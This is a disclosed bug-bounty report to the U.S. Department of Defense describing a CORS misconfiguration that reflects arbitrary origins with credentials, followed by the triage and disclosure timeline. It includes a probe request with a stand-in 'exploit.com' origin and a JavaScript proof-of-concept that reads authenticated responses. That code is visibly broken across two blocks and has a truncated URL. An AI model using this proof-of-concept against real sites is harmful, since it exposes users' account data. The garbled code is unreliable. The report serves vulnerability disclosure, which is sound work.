

18

## [REDACTED] Cross-origin resource sharing misconfiguration (CORS)

Share:

State Resolved (Closed)Disclosed **January 28, 2019 7:01pm +0530**Reported To [U.S. Dept Of Defense](#)

Weakness Improper Access Control - Generic

Severity High (7 ~ 8.9)

Participants

Visibility Disclosed (Full)

[Collapse](#)

TIMELINE · EXPORT

[jarvis7](#) submitted a report to [U.S. Dept Of Defense](#).

Dec 20th (7 months ago)

Hi!

In this report I want to describe High level bug which can seriously compromise a user account.

If I am authorize on this site, I can steal user's sessions, some personal information or do some action.

**Steps for reproduce**

1) Send this request

```
GET /api/jsonws/relo-service-plugin-portlet.content/get-content-by-slug/slug/page-ex-link HTTP/1.1
Host: www.[REDACTED]
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Origin: exploit.com
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
```

In response headers you can see headers

```
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: exploit.com
```

{F395049}

So you can write exploit:

```
<!DOCTYPE html>
<html>
  <head>
    <script>
      function cors() {
        var xhttp = new XMLHttpRequest();
        xhttp.onreadystatechange = function() {
          if (this.readyState == 4 && this.status == 200) {
            document.getElementById("emo").innerHTML = alert(this.responseText);
          }
        };
      }
    </script>
  </head>
</html>
```

```

xhttp.open("GET", "https://www.[REDACTED]/api/jsonws/relo-service-plugin-portlet.content/get-content-by-slug/slug/
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</head>
<body>
<center>
<h2>CORS PoC Exploit </h2>
<h3>created by <a href="https://twitter.com/Jarvis7717">@Jarvis</a></h3>
<h3>Show full content of page</h3>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
</body>
</html>

```

Result:

{F395063}

### How to fix

Rather than using a wild card or programmatically verifying supplied origins, use a white list of trusted domains.

### Impact

Attacker would treat many victims to visit attacker's website, if victim is logged in, then his personal information is recorded in attacker's server. Attacker can perform any action in the user's account, bypassing CSRF tokens.



BOT: [U.S. Dept Of Defense](#) posted a comment.

Dec 20th (7 months ago)

Greetings from the Department of Defense (DoD),

Thank you for supporting the DoD Vulnerability Disclosure Program (VDP).

By submitting this report, you acknowledge understanding of, and agreement to, the DoD Vulnerability Disclosure Policy as detailed at [@DeptofDefense](#).

The VDP Team will review your report to ensure compliance with the DoD Vulnerability Disclosure Policy. If your report is determined to be out-of-scope, it will be closed without action.

We will attempt to validate in-scope vulnerability reports and may request additional information from you if necessary. We will forward reports with validated vulnerabilities to DoD system owners for their action.

Our goal is to provide you with status updates not less than every two weeks until the reported vulnerability is resolved.

Regards,

The VDP Team



[ag3nt-z3](#) updated the severity to Low.

Dec 21st (7 months ago)



[ag3nt-z3](#) changed the status to 🟡 Triaged.

Dec 21st (7 months ago)

Greetings,

We have validated the vulnerability you reported and are preparing to forward this report to the affected DoD system owner for resolution.

Thank you for bringing this vulnerability to our attention!

We will endeavor to answer any questions the system owners may have regarding this report; however, there is a possibility we will need to contact you if they require more information to resolve the vulnerability.

You will receive another status update after we have confirmed your report has been resolved by the system owner. If you have any questions, please let me know.

Thanks again for supporting the DoD Vulnerability Disclosure Program.

Regards,

The VDP Team



ag3nt-j1 closed the report and changed the status to ○ Resolved.

Jan 16th (6 months ago)

Looks like this has been resolved. Also wanted to thank you for a great report that you wrote out explaining and also showing CORS vulnerability in action. I'd recommend you go ahead and ask for disclosure on this, that way I can use this report to show to other researchers that only show the response header but include no working PoC. We have a bit of a backlog on disclosure requests but we will get it published out for disclosure as soon as we can.



jarvis7 requested to disclose this report.  
okay)

Jan 17th (6 months ago)



jarvis7 posted a comment.

Jan 17th (6 months ago)

Also severity of this bug is High, not Low. And you can also cut or shade domain from name of report (If you want)



agent-1 posted a comment.  
@jarvis7

Jan 22nd (6 months ago)

This was a great find, thank you! Your disclosure is approved. Please use the following text:

A Cross-origin resource sharing misconfiguration (CORS) vulnerability with a severity rating of high was discovered on a DoD website by researcher jarvis7. He provided an in-depth, step-by-step proof of concept (POC) which demonstrated his ability to compromise a user account; resulting in the hijacking of a user's sessions, theft of some personal information, and follow-on malicious actions. A job well done jarvis7, and thank you for keeping our websites secure!

We would like to congratulate you on Twitter (@DC3VDP) if that is acceptable. If yes please verify your Twitter handle is @Jarvis7717. We will redact information in H1 on this vulnerability submission so you can disclose the technical aspects as well as your POC. Please give us 2 weeks to perform this manual process. Thanks again!

DoD VDP Team



ag3nt-j1 updated the severity from Low to High.

Jan 22nd (6 months ago)



ag3nt-j1 posted a comment.


Jan 22nd (6 months ago)

Also upped the severity since you actually supplied a working PoC. Thanks Jarvis!



jarvis7 posted a comment.

Jan 23rd (6 months ago)

Yes, this is my twitter <https://twitter.com/Jarvis7717> , of course you can write in twitter about this!) Nice text for disclose. Thanks!



jarvis7 posted a comment.  
[REDACTED]

Updated Jan 28th (5 months ago)



ag3nt-j1 agreed to disclose this report.

Jan 28th (5 months ago)



This report has been disclosed.

Jan 28th (5 months ago)



U.S. Dept Of Defense has locked this report.

Jan 28th (5 months ago)